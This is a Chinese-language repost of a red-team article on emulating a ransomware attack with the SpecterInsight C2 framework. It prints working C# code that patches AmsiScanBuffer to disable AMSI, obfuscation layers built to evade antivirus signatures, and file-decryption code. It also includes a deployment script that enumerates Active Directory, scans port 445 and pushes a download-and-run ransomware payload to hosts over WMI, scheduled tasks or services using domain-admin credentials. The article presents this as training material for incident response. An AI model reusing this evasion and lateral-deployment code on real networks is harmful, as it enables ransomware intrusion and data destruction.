using System;using System.Runtime.InteropServices;using System.Diagnostics;namespace Example {public class Program {public static void Main() { Bypass2.Apply();string message = "Hello world!"; Console.WriteLine(message); } }public class Bypass2 { [UnmanagedFunctionPointer(CallingConvention.Cdecl)]public delegate bool Test(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [UnmanagedFunctionPointer(CallingConvention.Cdecl)]public delegate IntPtr Load(string name); [DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);public static void Apply() { IntPtr library = Bypass2.LoadLibrary("kernel32.dll"); IntPtr virtualProtect = Bypass2.GetProcAddress(library, "VirtualProtect"); Test vprot = (Test)Marshal.GetDelegateForFunctionPointer(virtualProtect, typeof(Test)); IntPtr loadLibrary = Bypass2.GetProcAddress(library, "LoadLibraryA"); Load load = (Load)Marshal.GetDelegateForFunctionPointer(loadLibrary, typeof(Load)); IntPtr amsi = load("amsi.dll"); IntPtr amsiScanBuffer = Bypass2.GetProcAddress(amsi, "AmsiScanBuffer");uint previous; vprot(amsiScanBuffer, (UIntPtr)5, 0x40, out previous);byte[] patch = Bypass2.GetPatch(); Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length); vprot(amsiScanBuffer, (UIntPtr)5, previous, out previous); }private static IntPtr LoadLibrary(string name) {foreach (ProcessModule module in Process.GetCurrentProcess().Modules) {if (module.ModuleName.Equals(name, StringComparison.OrdinalIgnoreCase)) {return module.BaseAddress; } }return IntPtr.Zero; }private static byte[] GetPatch() {byte[] original = new byte[Patch.Length];for (int i = 0; i < original.Length; i++) { original[i] = (byte)(Patch[i] - Offset); }return original; }private static readonly byte[] Patch = {29,188,101,108,229,40 };private static readonly byte Offset = 101; }}

下一层是 CSharpStringVaultTransform,它使用各种嵌入技术来混淆支持的字符串类型。在此示例中,所有字符串引用都替换为对新类的静态属性的引用。在该新类中,它有一个静态默认构造函数,用于解压缩内部字节数组中的所有字符串,并将这些字符串分配给适当的类属性。

这只是字符串混淆技术的一个示例。还有许多其他方法可以减轻签名的影响。

原来的

using System;namespace Example {public class Program {public static void Main() {string message = "Hello world!"; Console.WriteLine(message); } }}

混淆的

using System;using System.Text;using System.IO;using System.IO.Compression;namespace Example {public class Program {public static void Main() {string message = StringVault.STR0; Console.WriteLine(message); } }public static class StringVault {public static string STR0 {get {return StringVault.Strings[0]; } }static StringVault() {using (MemoryStream ms = new MemoryStream(StringVault.SERIALIZED)) {using (GZipStream gz = new GZipStream(ms, CompressionMode.Decompress)) {using (BinaryReader br = new BinaryReader(gz)) {int count = br.ReadInt32(); StringVault.Strings = new string[count];for (int i = 0; i < count; i++) { StringVault.Strings[i] = br.ReadString(); } } } } }private static string[] Strings;private static byte[] SERIALIZED = new byte[] { 31, 139, 8, 0, 0, 0, 0, 0, 0, 10, 99, 100, 96, 96, 224, 241, 72, 205, 201, 201, 87, 40, 207, 47, 202, 73, 81, 4, 0, 255, 92, 163, 180, 17, 0, 0, 0 }; }}

下一层是 CSharpClassMemberShufflerTransform,它只是对类的成员进行洗牌。支持的成员类型包括类变量、静态变量、常量、方法和构造函数。这是为了帮助随机化编译的二进制文件的内容。

using System;namespace Example {public class Program {private const string MESSAGE = "Hello world!";public static void Main() { Program.Run(); }private static void Run() { Console.WriteLine(Program.MESSAGE); } }}

变身

using System;namespace Example {public class Program {private static void Run() { Console.WriteLine(Program.MESSAGE); }public static void Main() { Program.Run(); }private const string MESSAGE = "Hello world!"; }}

CSharpVariableNameTransform 层随机化变量名称以包括类变量、参数和局部变量名称。对目标符号的所有引用都将使用新名称进行更新。我们提供一组预先生成的变量名称,减去 C# 关键字。这次我们没有像 PowerShell 版本那样进行任何很酷的研究。我很懒,只是要求 ChatGPT 生成一个巨大的唯一变量名称列表。如果混淆器用完了预先生成的名称,则后备方案是随机字符生成器。

但是,如果代码刚刚编译完毕,为什么要混淆变量名称呢?事实证明,.NET 二进制文件存储了大量有关命名空间、类、属性和一些变量名称的信息,以供 .NET 反射系统使用。反病毒签名可以根据二进制文件中的单个字符串或字符串组合来创建,这些字符串在同一恶意软件的不同迭代或版本之间很常见。这种混淆方法减少了一种可能的伪影。

using System;namespace Example {public class Program {private static string MESSAGE = "Hello world!";public static void Main(string[] args) { Program.Run(); }private static void Run() { Console.WriteLine(Program.MESSAGE); } }}

变身

using System;namespace Example {public class Program {private static string lastName= "Hello world!";public static void Main(string[] username) { Program.Run(); }private static void Run() { Console.WriteLine(Program.lastName); } }}

接下来的几层(CSharpMethodNameTransform、CSharpClassNameTransform 和 CSharpNamespaceNameTransform)的工作方式与 CSharpVariabledNameTransform 类似。到这里,我想你已经明白了,所以我就不提供具体的例子了。当我们将所有这些技术结合在一起时,我们会得到一个二进制文件,该二进制文件仅在程序中每个方法的编译字节码中具有相似之处。其他一切都以某种方式被混淆了。因此,我们有一个抗 AV 检测的有效负载。

用户提示

杀伤链的最后一步是通知用户发生了什么并向用户显示勒索消息。这对于推动事件响应的培训场景至关重要。这是一个简单的 .NET Winforms 应用程序,它通知用户他们是勒索软件的受害者,他们必须将 500 美元的比特币发送到一个不存在的虚构网站,并附上一个倒计时器,否则你的数据将永远丢失(这是之后并没有真正消失,加密很容易逆转)。

它还包含一个用于解密文件的按钮。无论如何,该功能在按下时都会起作用。

解密代码相当简单。与我们的加密过程相反。我们使用相同的递归文件搜索方法来查找末尾附加了我们的自定义扩展名的文件。当我们解密每个文件时,我们会更新 UI 中的进度条。

private void DecryptEventHandler(object sender, DoWorkEventArgs e) {string path = "C:\";try {string[] files = Utility.GetFiles(path, "*.specter");int count = 0;foreach (string file in files) {try {byte[] plaintext = this.DecryptHelper(file);string newname = file.Replace(".specter", string.Empty); File.WriteAllBytes(newname, plaintext); File.Delete(file); } catch { } count++; BackgroundWorker worker = (BackgroundWorker)sender; worker.ReportProgress((int)(count / (float)files.Length * 100)); } } catch { }}

如果您还记得之前,我们将解密密钥以明文形式存储在每个文件中,因此我们只需首先读取它们的密钥和 IV 即可构建用于解密的 CryptoStream。然后,我们解密原始文件,去掉 .spectre 扩展名,将解密的内容保存回原始文件路径,然后删除加密版本。

private byte[] DecryptHelper(string path) {byte[] key = new byte[32];byte[] iv = new byte[16];byte[] contents = File.ReadAllBytes(path);for (int i = 0; i < key.Length; i++) { key[i] = contents[i]; }for (int i = 0; i < iv.Length; i++) { iv[i] = contents[i + key.Length]; }byte[] ciphertext = new byte[contents.Length - key.Length - iv.Length];for (int i = 0; i < ciphertext.Length; i++) { ciphertext[i] = contents[i + key.Length + iv.Length]; }//Create the streams used for encryptionusing (SymmetricAlgorithm aes = this.GetSymmetricAlgorithm()) { aes.Key = key; aes.IV = iv;using (ICryptoTransform decryptor = aes.CreateDecryptor()) {using (MemoryStream ms = new MemoryStream(contents)) {byte[] buffer = new byte[1024];int count = 0;using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read)) {using (MemoryStream output = new MemoryStream()) {while ((count = cs.Read(buffer, 0, buffer.Length)) > 0) { output.Write(buffer, 0, count); }//Return the encrypted bytes from the memory streamreturn output.ToArray(); } } } } }}

部署脚本

最后,部署脚本负责编排杀伤链。它在环境中运行的 Spectre 中运行,负责:(1) 生成将要分发的 PowerShell 命令,(2) 识别目标,以及 (3) 在远程系统上执行 PowerShell 命令负载。让我们分解每个步骤。

第一步是加载侦察和横向模块的依赖项,其中包含扫描网络和运行远程命令的方法。

load recon;load lateral;

下一步是有效负载生成。该脚本需要生成一个PowerShell命令来分发。我们可以使用“Get-Payload”(别名“payload”)来做到这一点。这将生成一个 PowerShell 命令,该命令将下载并执行勒索软件有效负载。

混淆和编译新的加密器有效负载的过程可能需要几秒钟的时间才能生成,因此我们在部署命令之前触发生成,以便服务器的有效负载缓存服务缓存新的有效负载,以便在杀伤链在每个主机上执行时快速检索。实际上,我们在每次杀伤链执行时仅生成一次勒索软件。

#Generate the payload$payload = payload -Kind 'ps_ransom_command';#Pre-generate stage 2 and 3payload -Kind 'ps_ransom_script' | Out-Null;payload -Kind 'csharp_ransomware' | Out-Null;

接下来,我们需要创建目标 IP 地址列表。

如果操作员指定了目标列表,那么我们只需将它们转换为 IP 地址即可。目标可以是主机名、CIDR 范围或 IP 地址。我们使用 Invoke-Resolve cmdlet 来解析 IP 地址的输入。

如果操作员没有指定一组目标,我们将通过使用 SpecterInsight 计算机 cmdlet 枚举 Active Directory 中的所有系统并使用 SpecterInsight 解析 cmdlet 解析其 IP 地址来生成一个目标。这应该给我们一个很好的目标列表。当前的 Active Directory 实例将用于查询计算机。

最后,脚本需要删除本地系统,这样我们就不会破坏我们在网络中的立足点。我们使用 SpectreInsight 接口 cmdlet 提取与每个接口关联的所有 IP,并将它们添加到字典中。HashSet 在这里更有意义,但我们希望此脚本与 .NET 2.0 兼容。然后我们循环遍历所有 IP 并删除任何本地 IP。

#Build a list of IP addresses to targetif($Targets -eq $null -or $Targets.Length -le 0) {#Autotarget from Active Directory$computers = computers | resolve | % { $_.ToString() };} else {#Use explicit targetting$computers = $Targets | resolve | % { $_.ToString() };}#Build a list of local IP addressess$localhost = New-Object 'System.Collections.Generic.Dictionary[string, string]';$interfaces = interfaces;foreach($interface in $interfaces) {foreach($entry in $interface.InterfaceIPs) {$ip = $entry.IP.ToString();if(!$localhost.ContainsKey($ip)) {$localhost.Add($ip, $ip); } }}#Remove localhost from target list$computers = $computers | ? { !$localhost.ContainsKey($_.IPAddress); }

有了目标列表,我们现在需要查看哪些目标处于活动状态并做出响应。我们可以使用 SpectreInsight 扫描 cmdlet 对端口 445 进行 TCP 端口扫描,该 cmdlet 执行多线程 TCP 完全连接扫描。对于每个响应的系统,我们都会将该 IP 地址添加到最终目标列表中。

#Find systems that are alive via a quick port scan$scan = scan -Targets ([string[]]$computers) -Ports @(445);$alive = $scan | ? { $_.'445' -eq 'OPEN' };$addresses = $alive | % { $_.IPAddress; }

现在,我们可以使用 Invoke-ParallelCommand cmdlet 将有效负载部署到可访问的目标。此 cmdlet 将使用三种不同方法之一远程运行给定命令:WMI、计划任务或服务控制管理器。它会连续尝试每一种技术,直到找到一种可行的技术或没有其他选择。

$results = Invoke-ParallelCommand -Targets ([string[]]$addresses) -Command $payload -Username $Username -Password $Password;$results;

程序

这些过程演示了如何使用显式凭据跨 CIDR /24 网络使用勒索软件模拟脚本。以下步骤假设可以访问在目标环境中运行的 Spectre。

第一步是将勒索软件仿真 SpectreScript 加载到命令编辑器中。您可以通过在 SpectreScript 搜索窗口中搜索赎金,然后单击“插入”按钮来找到该脚本。这会将脚本添加到命令编辑器并生成显示 UI。

如何模拟勒索软件攻击场景

下一步是选择要使用的参数集。在这种情况下,我们将从非域连接的系统进行部署,因此我们将使用“用户名和密码”参数集。然后,我们输入一组包含 CIDR、IP 地址或主机名的目标。在本例中,我们提供一个小型 /24 子网进行部署。

然后我们提供域管理员用户名和密码进行身份验证。

现在我们已经完成了参数配置,我们可以运行脚本了。

如何模拟勒索软件攻击场景

脚本完成后,它将输出在初始端口扫描期间找到的每个可到达目标的结果。在这种情况下,计划任务方法适用于每个目标。

该过程是多线程的,因此在 CIDR /24 中从开始到完成部署只花了 20 秒。端口扫描确实很快,但对远程系统的 API 调用却慢得多。在人口较多的子网中,部署可能需要更长的时间。

部署中发送的数据量相对较小,因为我们只为 PowerShell 命令参数传输几个字节。每个目标系统都会从 C2 服务器拉取大约 100KiB 的勒索软件负载。

如何模拟勒索软件攻击场景

登录受害计算机后,会显示勒索消息。

如何模拟勒索软件攻击场景

未来的工作

这个新功能提供了 ramsonware 的基本元素;但它并没有实现其他常见的勒索软件功能。为了改进我们的威胁模拟,我们希望在未来的更新中实现以下功能:

  • 利用互斥锁确保只有一个加密器实例

  • 清空回收站以清除旧版本

  • 删除交换空间

  • 通过删除文件锁来终止进程以启用加密

  • 删除卷影副本

  • 删除备份

  • 识别直连存储并添加到加密列表

  • 识别可访问的文件共享

概括

在这篇文章中,我们展示了如何利用 SpectreInsight 在训练环境中模拟勒索软件活动。随着我们的进展,我们分解了每个组件,并详细描述了每个步骤如何在代码中工作,以便您更好地了解对手如何构建、混淆和部署勒索软件。

原文始发于微信公众号(Ots安全):如何模拟勒索软件攻击场景

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日06:41:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何模拟勒索软件攻击场景http://cn-sec.com/archives/2588950.html

发表评论

匿名网友 填写信息